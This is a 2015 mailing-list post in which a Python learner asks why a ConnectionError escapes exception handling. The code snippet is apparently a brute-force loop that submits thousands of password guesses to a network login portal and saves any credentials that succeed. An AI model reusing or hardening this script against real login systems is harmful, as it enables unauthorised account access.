ConnectionError handling problem
shiva upreti
katewinslet626 at gmail.com
Sat Sep 19 02:13:20 EDT 2015
I am learning python. I wrote a script using requests module.
The scripts runs fine for sometime, but after a while it hangs. When I press CTRL+C it shows ConnectionError even though I have included exception handling.
I am not sure as to why it cant handle ConnectionError when the script runs for a long time.
This is a part(causing issues) of the script I am running:
while(k<46656):
j=res[k]
url="http://172.16.68.6:8090/login.xml"
query_args = {'mode':'191', 'username':str(i), 'password':str(j), 'a':'1442397582010', 'producttype':'0'}
try:
r=requests.post(url, data=query_args)
except:
print "Connection error"
time.sleep(30)
continue
html=r.text
if(len(html) < 10):
continue
if("The system could not log you on" not in html):
print "hello"
filehandle=open("ids", "a")
filehandle.write(str(i)+'\n')
filehandle.write(str(j)+'\n')
filehandle.close()
break
k=k+1
Any help will be highly appreciated.
More information about the Python-list
mailing list